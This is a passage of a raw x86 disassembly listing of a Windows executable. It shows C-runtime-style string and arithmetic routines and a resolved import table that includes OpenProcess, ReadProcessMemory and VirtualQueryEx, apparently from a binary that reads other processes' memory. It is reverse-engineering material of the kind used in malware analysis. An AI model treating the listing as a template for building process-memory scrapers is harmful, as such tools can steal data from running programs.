loc_421754 add eax, esi mov [ebp+var_C], eax mov eax, [ebp+arg_4] lea ecx, [ebx+8] mov [ebp+var_10], ecx mov [ebp+var_1C], eax loc_42171C: ; CODE XREF: sub_421633+11Fj mov eax, [ebp+var_10] mov ecx, [ebp+var_C] movzx ecx, word ptr [ecx] movzx eax, word ptr [eax] imul eax, ecx mov ecx, [ebp+var_8] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_420B39 add esp, 0Ch test eax, eax jz short loc_421747 mov eax, [ebp+var_8] inc word ptr [eax] loc_421747: ; CODE XREF: sub_421633+10Cj add [ebp+var_C], 2 sub [ebp+var_10], 2 dec [ebp+var_1C] jnz short loc_42171C loc_421754: ; CODE XREF: sub_421633+D6j add [ebp+var_8], 2 inc [ebp+var_14] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421700 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421797 loc_421772: ; CODE XREF: sub_421633+15Bj test byte ptr [ebp+var_20+3], 80h jnz short loc_421790 lea eax, [ebp+var_28] push eax call sub_420BB8 add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 pop ecx jg short loc_421772 loc_421790: ; CODE XREF: sub_421633+143j cmp word ptr [ebp+arg_0], 0 jg short loc_4217D0 loc_421797: ; CODE XREF: sub_421633+13Dj add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_4217D0 mov eax, [ebp+arg_0] neg eax movzx ebx, ax add [ebp+arg_0], ebx loc_4217B0: ; CODE XREF: sub_421633+191j test byte ptr [ebp+var_28], 1 jz short loc_4217B9 inc [ebp+var_18] loc_4217B9: ; CODE XREF: sub_421633+181j lea eax, [ebp+var_28] push eax call sub_420BE6 dec ebx pop ecx jnz short loc_4217B0 cmp [ebp+var_18], 0 jz short loc_4217D0 or byte ptr [ebp+var_28], 1 loc_4217D0: ; CODE XREF: sub_421633+162j ; sub_421633+170j ... cmp word ptr [ebp+var_28], 8000h ja short loc_4217E7 mov eax, [ebp+var_28] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42181C loc_4217E7: ; CODE XREF: sub_421633+1A3j cmp [ebp+var_28+2], 0FFFFFFFFh jnz short loc_421819 and [ebp+var_28+2], 0 cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_421814 and [ebp+var_24+2], 0 cmp word ptr [ebp+var_20+2], 0FFFFh jnz short loc_42180E inc [ebp+arg_0] mov word ptr [ebp+var_20+2], 8000h jmp short loc_42181C ; --------------------------------------------------------------------------- loc_42180E: ; CODE XREF: sub_421633+1CEj inc word ptr [ebp+var_20+2] jmp short loc_42181C ; --------------------------------------------------------------------------- loc_421814: ; CODE XREF: sub_421633+1C2j inc [ebp+var_24+2] jmp short loc_42181C ; --------------------------------------------------------------------------- loc_421819: ; CODE XREF: sub_421633+1B8j inc [ebp+var_28+2] loc_42181C: ; CODE XREF: sub_421633+1B2j ; sub_421633+1D9j ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_421840 mov cx, word ptr [ebp+var_28+2] mov [esi], cx mov ecx, [ebp+var_24] mov [esi+2], ecx mov ecx, [ebp+var_20] mov [esi+6], ecx or eax, edi loc_42183A: ; CODE XREF: sub_421633+93j mov [esi+0Ah], ax jmp short loc_42185B ; --------------------------------------------------------------------------- loc_421840: ; CODE XREF: sub_421633+4Fj ; sub_421633+5Aj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_42185B: ; CODE XREF: sub_421633+B8j ; sub_421633+20Bj mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41C596 leave retn sub_421633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42186B proc near ; CODE XREF: sub_420CF7+39Fp ; sub_421131+144p var_10 = byte ptr -10h var_E = dword ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov ebx, offset dword_432F20 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx mov [ebp+var_4], eax jz short loc_4218E9 jge short loc_421899 neg [ebp+arg_4] mov ebx, offset dword_433080 sub ebx, 60h loc_421899: ; CODE XREF: sub_42186B+21j cmp [ebp+arg_8], ecx jnz short loc_4218A4 mov eax, [ebp+arg_0] mov [eax], cx loc_4218A4: ; CODE XREF: sub_42186B+31j cmp [ebp+arg_4], ecx jz short loc_4218E9 push esi push edi loc_4218AB: ; CODE XREF: sub_42186B+7Aj mov eax, [ebp+arg_4] sar [ebp+arg_4], 3 and eax, 7 add ebx, 54h cmp eax, ecx jz short loc_4218E2 lea eax, [eax+eax*2] lea esi, [ebx+eax*4] cmp word ptr [esi], 8000h jb short loc_4218D5 lea edi, [ebp+var_10] movsd movsd movsd dec [ebp+var_E] lea esi, [ebp+var_10] loc_4218D5: ; CODE XREF: sub_42186B+5Cj push esi push [ebp+arg_0] call sub_421633 pop ecx pop ecx xor ecx, ecx loc_4218E2: ; CODE XREF: sub_42186B+4Fj cmp [ebp+arg_4], ecx jnz short loc_4218AB pop edi pop esi loc_4218E9: ; CODE XREF: sub_42186B+1Fj ; sub_42186B+3Cj mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop ebx call sub_41C596 leave retn sub_42186B endp ; =============== S U B R O U T I N E ======================================= sub_4218F7 proc near ; CODE XREF: sub_4071CF+31p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42191E push esi call sub_419D70 inc eax push eax call sub_416E1F test eax, eax pop ecx pop ecx jz short loc_42191E push esi push eax call sub_41BFE0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42191E: ; CODE XREF: sub_4218F7+7j ; sub_4218F7+1Aj xor eax, eax pop esi retn sub_4218F7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421930 proc near ; CODE XREF: sub_4042A2+14Ap jmp dword_4221F4 sub_421930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421936 proc near ; CODE XREF: sub_417A31+24p ; sub_417D60+13p jmp dword_422164 sub_421936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42193C proc near ; CODE XREF: sub_4039DB+DAp ; sub_4039DB+F1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx call sub_4191CF mov ecx, [eax+64h] cmp ecx, off_4323FC mov [ebp+var_4], ecx jz short loc_42195D call sub_419FFE mov [ebp+var_4], eax mov ecx, eax loc_42195D: ; CODE XREF: sub_42193C+15j cmp dword ptr [ecx+14h], 0 push ebx jnz short loc_4219A2 mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] loc_42196A: ; CODE XREF: sub_42193C+62j xor ebx, ebx mov bx, [ecx] cmp bx, 41h jb short loc_42197E cmp bx, 5Ah ja short loc_42197E add ebx, 20h loc_42197E: ; CODE XREF: sub_42193C+37j ; sub_42193C+3Dj xor eax, eax mov ax, [edx] cmp ax, 41h jb short loc_421992 cmp ax, 5Ah ja short loc_421992 add eax, 20h loc_421992: ; CODE XREF: sub_42193C+4Bj ; sub_42193C+51j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4219DE cmp bx, ax jz short loc_42196A jmp short loc_4219DE ; --------------------------------------------------------------------------- loc_4219A2: ; CODE XREF: sub_42193C+26j push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] jmp short loc_4219AF ; --------------------------------------------------------------------------- loc_4219AC: ; CODE XREF: sub_42193C+9Ej mov ecx, [ebp+var_4] loc_4219AF: ; CODE XREF: sub_42193C+6Ej xor eax, eax mov ax, [esi] push eax push ecx call sub_4219E9 inc esi inc esi mov ebx, eax xor eax, eax mov ax, [edi] push eax push [ebp+var_4] call sub_4219E9 add esp, 10h inc edi inc edi test bx, bx jz short loc_4219DC cmp bx, ax jz short loc_4219AC loc_4219DC: ; CODE XREF: sub_42193C+99j pop edi pop esi loc_4219DE: ; CODE XREF: sub_42193C+5Dj ; sub_42193C+64j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx leave retn sub_42193C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219E9 proc near ; CODE XREF: sub_42193C+7Ap ; sub_42193C+8Cp var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, 0FFFFh cmp word ptr [ebp+arg_4], ax jz short locret_421A48 cmp word ptr [ebp+arg_4], 100h push esi mov esi, [ebp+arg_0] jnb short loc_421A1C push 1 push [ebp+arg_4] push esi call sub_421CA3 add esp, 0Ch test eax, eax jnz short loc_421A1C mov ax, word ptr [ebp+arg_4] jmp short loc_421A47 ; --------------------------------------------------------------------------- loc_421A1C: ; CODE XREF: sub_4219E9+19j ; sub_4219E9+2Bj push dword ptr [esi+4] lea eax, [ebp+var_4] push 1 push eax push 1 lea eax, [ebp+arg_4] push eax push 100h push dword ptr [esi+14h] call sub_421A4A add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_4] jz short loc_421A47 mov ax, [ebp+var_4] loc_421A47: ; CODE XREF: sub_4219E9+31j ; sub_4219E9+58j pop esi locret_421A48: ; CODE XREF: sub_4219E9+Dj leave retn sub_4219E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A4A proc near ; CODE XREF: sub_4219E9+4Ap var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 24h push offset stru_42CE18 call __SEH_prolog xor ebx, ebx xor edi, edi inc edi cmp dword_4815DC, ebx jnz short loc_421A98 push ebx push ebx push edi push offset dword_42C148 push 100h push ebx call dword_4221A8 ; LCMapStringW test eax, eax jz short loc_421A83 mov dword_4815DC, edi jmp short loc_421A98 ; --------------------------------------------------------------------------- loc_421A83: ; CODE XREF: sub_421A4A+2Fj call dword_422008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_421A98 mov dword_4815DC, 2 loc_421A98: ; CODE XREF: sub_421A4A+17j ; sub_421A4A+37j ... cmp [ebp+arg_C], ebx jle short loc_421ABA mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_421AA3: ; CODE XREF: sub_421A4A+63j dec ecx cmp [eax], bx jz short loc_421AB2 inc eax inc eax cmp ecx, ebx jnz short loc_421AA3 or ecx, 0FFFFFFFFh loc_421AB2: ; CODE XREF: sub_421A4A+5Dj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_421ABA: ; CODE XREF: sub_421A4A+51j mov eax, dword_4815DC cmp eax, edi jnz short loc_421AE0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A8 ; LCMapStringW jmp loc_421C9A ; --------------------------------------------------------------------------- loc_421AE0: ; CODE XREF: sub_421A4A+77j cmp eax, 2 jz short loc_421AE9 cmp eax, ebx jnz short loc_421B3D loc_421AE9: ; CODE XREF: sub_421A4A+99j mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_24], ebx cmp [ebp+arg_0], ebx jnz short loc_421AFF mov eax, dword_481498 mov [ebp+arg_0], eax loc_421AFF: ; CODE XREF: sub_421A4A+ABj cmp [ebp+arg_18], ebx jnz short loc_421B0C mov eax, dword_4814A8 mov [ebp+arg_18], eax loc_421B0C: ; CODE XREF: sub_421A4A+B8j push [ebp+arg_0] call sub_4202EF pop ecx cmp [ebp+arg_18], eax jz short loc_421B22 cmp eax, 0FFFFFFFFh jz short loc_421B22 mov [ebp+arg_18], eax loc_421B22: ; CODE XREF: sub_421A4A+CEj ; sub_421A4A+D3j push ebx push ebx push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] push ebx push [ebp+arg_18] call dword_4220D8 ; WideCharToMultiByte mov [ebp+var_28], eax cmp eax, ebx jnz short loc_421B44 loc_421B3D: ; CODE XREF: sub_421A4A+9Dj ; sub_421A4A+141j xor eax, eax jmp loc_421C9A ; --------------------------------------------------------------------------- loc_421B44: ; CODE XREF: sub_421A4A+F1j mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421B78 ; --------------------------------------------------------------------------- loc_421B60: ; DATA XREF: .text:stru_42CE18o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_421B64: ; DATA XREF: .text:stru_42CE18o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx mov [ebp+var_2C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi loc_421B78: ; CODE XREF: sub_421A4A+114j cmp [ebp+var_2C], ebx jnz short loc_421B90 push [ebp+var_28] call sub_416E1F pop ecx mov [ebp+var_2C], eax cmp eax, ebx jz short loc_421B3D mov [ebp+var_20], edi loc_421B90: ; CODE XREF: sub_421A4A+131j push ebx push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_C] push [ebp+arg_8] push ebx push [ebp+arg_18] call dword_4220D8 ; WideCharToMultiByte test eax, eax jz loc_421C7A push ebx push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A4 ; LCMapStringA mov esi, eax mov [ebp+var_30], esi cmp esi, ebx jz loc_421C7A mov [ebp+ms_exc.disabled], edi add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_34], edi or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421C04 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx xor edi, edi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_30] loc_421C04: ; CODE XREF: sub_421A4A+1A1j cmp edi, ebx jnz short loc_421C1C push esi call sub_416E1F pop ecx mov edi, eax cmp edi, ebx jz short loc_421C7D mov [ebp+var_24], 1 loc_421C1C: ; CODE XREF: sub_421A4A+1BCj push esi push edi push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A4 ; LCMapStringA test eax, eax jz short loc_421C7D test byte ptr [ebp+arg_4+1], 4 jz short loc_421C59 mov [ebp+var_1C], esi cmp [ebp+arg_14], ebx jz short loc_421C7D cmp [ebp+arg_14], esi jge short loc_421C4A mov esi, [ebp+arg_14] loc_421C4A: ; CODE XREF: sub_421A4A+1FBj push esi push edi push [ebp+arg_10] call sub_416A00 add esp, 0Ch jmp short loc_421C7D ; --------------------------------------------------------------------------- loc_421C59: ; CODE XREF: sub_421A4A+1EEj cmp [ebp+arg_14], ebx jnz short loc_421C62 push ebx push ebx jmp short loc_421C68 ; --------------------------------------------------------------------------- loc_421C62: ; CODE XREF: sub_421A4A+212j push [ebp+arg_14] push [ebp+arg_10] loc_421C68: ; CODE XREF: sub_421A4A+216j push esi push edi push 1 push [ebp+arg_18] call dword_4220D4 ; MultiByteToWideChar mov [ebp+var_1C], eax jmp short loc_421C7D ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421A4A+160j ; sub_421A4A+181j mov edi, [ebp+var_34] loc_421C7D: ; CODE XREF: sub_421A4A+1C9j ; sub_421A4A+1E8j ... cmp [ebp+var_24], ebx jz short loc_421C89 push edi call sub_416D07 pop ecx loc_421C89: ; CODE XREF: sub_421A4A+236j cmp [ebp+var_20], ebx jz short loc_421C97 push [ebp+var_2C] call sub_416D07 pop ecx loc_421C97: ; CODE XREF: sub_421A4A+242j mov eax, [ebp+var_1C] loc_421C9A: ; CODE XREF: sub_421A4A+91j ; sub_421A4A+F5j lea esp, [ebp-40h] call __SEH_epilog retn sub_421A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA3 proc near ; CODE XREF: sub_4219E9+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0FFFFh jz short loc_421CE8 cmp [ebp+arg_4], 100h jnb short loc_421CC7 movzx eax, [ebp+arg_4] mov ecx, off_432A64 mov ax, [ecx+eax*2] jmp short loc_421CEF ; --------------------------------------------------------------------------- loc_421CC7: ; CODE XREF: sub_421CA3+12j mov eax, [ebp+arg_0] push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+arg_4] push eax push 1 call sub_421CFA add esp, 18h test eax, eax jnz short loc_421CEC loc_421CE8: ; CODE XREF: sub_421CA3+Aj xor eax, eax jmp short loc_421CEF ; --------------------------------------------------------------------------- loc_421CEC: ; CODE XREF: sub_421CA3+43j mov eax, [ebp+var_4] loc_421CEF: ; CODE XREF: sub_421CA3+22j ; sub_421CA3+47j movzx ecx, [ebp+arg_8] movzx eax, ax and eax, ecx leave retn sub_421CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CFA proc near ; CODE XREF: sub_421CA3+39p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 24h push offset stru_42CE30 call __SEH_prolog xor esi, esi xor edi, edi inc edi cmp dword_4815E0, esi jnz short loc_421D45 lea eax, [ebp+var_1C] push eax push edi push offset dword_42C148 push edi call dword_422158 ; GetStringTypeW test eax, eax jz short loc_421D30 mov dword_4815E0, edi jmp short loc_421D45 ; --------------------------------------------------------------------------- loc_421D30: ; CODE XREF: sub_421CFA+2Cj call dword_422008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_421D45 mov dword_4815E0, 2 loc_421D45: ; CODE XREF: sub_421CFA+17j ; sub_421CFA+34j ... mov eax, dword_4815E0 cmp eax, edi jnz short loc_421D65 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_422158 ; GetStringTypeW jmp loc_421F16 ; --------------------------------------------------------------------------- loc_421D65: ; CODE XREF: sub_421CFA+52j cmp eax, 2 jz short loc_421D6E cmp eax, esi jnz short loc_421DC1 loc_421D6E: ; CODE XREF: sub_421CFA+6Ej mov [ebp+var_20], esi mov [ebp+var_24], esi cmp [ebp+arg_14], esi jnz short loc_421D81 mov eax, dword_481498 mov [ebp+arg_14], eax loc_421D81: ; CODE XREF: sub_421CFA+7Dj cmp [ebp+arg_10], esi jnz short loc_421D8E mov eax, dword_4814A8 mov [ebp+arg_10], eax loc_421D8E: ; CODE XREF: sub_421CFA+8Aj push [ebp+arg_14] call sub_4202EF pop ecx cmp [ebp+arg_10], eax jz short loc_421DA4 cmp eax, 0FFFFFFFFh jz short loc_421DA4 mov [ebp+arg_10], eax loc_421DA4: ; CODE XREF: sub_421CFA+A0j ; sub_421CFA+A5j push esi push esi push esi push esi push [ebp+arg_8] push [ebp+arg_4] push esi push [ebp+arg_10] call dword_4220D8 ; WideCharToMultiByte mov ebx, eax mov [ebp+var_28], ebx cmp ebx, esi jnz short loc_421DC8 loc_421DC1: ; CODE XREF: sub_421CFA+72j ; sub_421CFA+126j xor eax, eax jmp loc_421F16 ; --------------------------------------------------------------------------- loc_421DC8: ; CODE XREF: sub_421CFA+C5j mov [ebp+ms_exc.disabled], esi mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax push ebx push esi push eax call sub_41E8F0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421E0D ; --------------------------------------------------------------------------- loc_421DF1: ; DATA XREF: .text:stru_42CE30o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_421DF5: ; DATA XREF: .text:stru_42CE30o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 and [ebp+var_2C], 0 or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi mov ebx, [ebp+var_28] xor esi, esi loc_421E0D: ; CODE XREF: sub_421CFA+F5j cmp [ebp+var_2C], esi jnz short loc_421E25 push ebx push edi call sub_41E61E pop ecx pop ecx mov [ebp+var_2C], eax cmp eax, esi jz short loc_421DC1 mov [ebp+var_20], edi loc_421E25: ; CODE XREF: sub_421CFA+116j push esi push esi push ebx push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push esi push [ebp+arg_10] call dword_4220D8 ; WideCharToMultiByte test eax, eax jz loc_421F05 mov [ebp+ms_exc.disabled], edi lea eax, [ebx+ebx+2] add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_30], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421E7F ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 and [ebp+var_30], 0 or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi mov ebx, [ebp+var_28] xor esi, esi loc_421E7F: ; CODE XREF: sub_421CFA+167j cmp [ebp+var_30], esi jnz short loc_421E99 lea eax, [ebx+ebx+2] push eax call sub_416E1F pop ecx mov [ebp+var_30], eax cmp eax, esi jz short loc_421F05 mov [ebp+var_24], edi loc_421E99: ; CODE XREF: sub_421CFA+188j cmp [ebp+arg_14], esi jnz short loc_421EA6 mov eax, dword_481498 mov [ebp+arg_14], eax loc_421EA6: ; CODE XREF: sub_421CFA+1A2j mov edi, [ebp+arg_8] add edi, edi mov eax, [ebp+var_30] lea esi, [edi+eax] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push eax push ebx push [ebp+var_2C] push [ebp+arg_0] push [ebp+arg_14] call dword_4221D8 ; GetStringTypeA mov [ebp+var_34], eax cmp word ptr [esi-2], 0FFFFh jz short loc_421EF0 cmp word ptr [esi], 0FFFFh jnz short loc_421EF0 push edi push [ebp+var_30] push [ebp+arg_C] call sub_41F060 add esp, 0Ch jmp short loc_421EF4 ; --------------------------------------------------------------------------- loc_421EF0: ; CODE XREF: sub_421CFA+1DCj ; sub_421CFA+1E3j and [ebp+var_34], 0 loc_421EF4: ; CODE XREF: sub_421CFA+1F4j cmp [ebp+var_24], 0 jz short loc_421F03 push [ebp+var_30] call sub_416D07 pop ecx loc_421F03: ; CODE XREF: sub_421CFA+1FEj xor esi, esi loc_421F05: ; CODE XREF: sub_421CFA+143j ; sub_421CFA+19Aj cmp [ebp+var_20], esi jz short loc_421F13 push [ebp+var_2C] call sub_416D07 pop ecx loc_421F13: ; CODE XREF: sub_421CFA+20Ej mov eax, [ebp+var_34] loc_421F16: ; CODE XREF: sub_421CFA+66j ; sub_421CFA+C9j lea esp, [ebp-40h] call __SEH_epilog retn sub_421CFA endp ; --------------------------------------------------------------------------- mov eax, dword_43A7E8 and eax, 0FFFFFFFEh mov dword_43A7E8, eax retn ; --------------------------------------------------------------------------- loc_421F2D: ; DATA XREF: sub_407BA7o mov eax, offset dword_42CE60 jmp loc_417A83 ; --------------------------------------------------------------------------- align 4 dd 32h dup(0) dword_422000 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401141+285r ... dword_422004 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_40195E+32r ... dword_422008 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_401141+272r ... dword_42200C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401141+255r ... dword_422010 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401141+180r ... dword_422014 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_401B94+264r ... dword_422018 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_41A142+Dr ... dword_42201C dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_41A1D6+28r ... dword_422020 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_422024 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_401B94+254r ... dword_422028 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_405E13+Fr dword_42202C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_402C71+1EFr ... dword_422030 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_4021C5+1C3r ... dword_422034 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_402C71+5Dr ... dword_422038 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_402858+1A7r ... dword_42203C dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_41267A+F8r dword_422040 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_403500+D9r ... dword_422044 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_402C71+485r ... dword_422048 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_405E13+21r ... dword_42204C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4035E0+144r ... dword_422050 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4035E0+139r ... dword_422054 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_404849+231r dword_422058 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_403852+F5r ... dword_42205C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4039DB+4Ar ... dword_422060 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_4039DB+40r ... dword_422064 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; sub_404849+2ABr dword_422068 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; sub_404849+29Dr dword_42206C dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_403B79+53r dword_422070 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_403B79+8Dr dword_422074 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_403B79+2Cr ... dword_422078 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_403B79+10r ... dword_42207C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_422080 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_422084 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_406217+11r ... dword_422088 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_406217+13Ar ... dword_42208C dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_41059C+B9r ... dword_422090 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; .text:00415018r ... dword_422094 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_4052D1+1F6r ... dword_422098 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_412B6A+185r dword_42209C dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_412B6A+16Er dword_4220A0 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_407576+10Ar ... dword_4220A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_407576+F6r ... dword_4220A8 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_4220AC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4220B0 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_4220B4 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4220B8 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4220BC dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4220C0 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_4220C4 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_4220C8 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4220CC dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_408D49+293r ... dword_4220D0 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_409848+32DEr dword_4220D4 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_414199+61r ... dword_4220D8 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; .text:004162F0r ... dword_4220DC dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; .text:00410EC7r dword_4220E0 dd 7C80DDF5h ; resolved 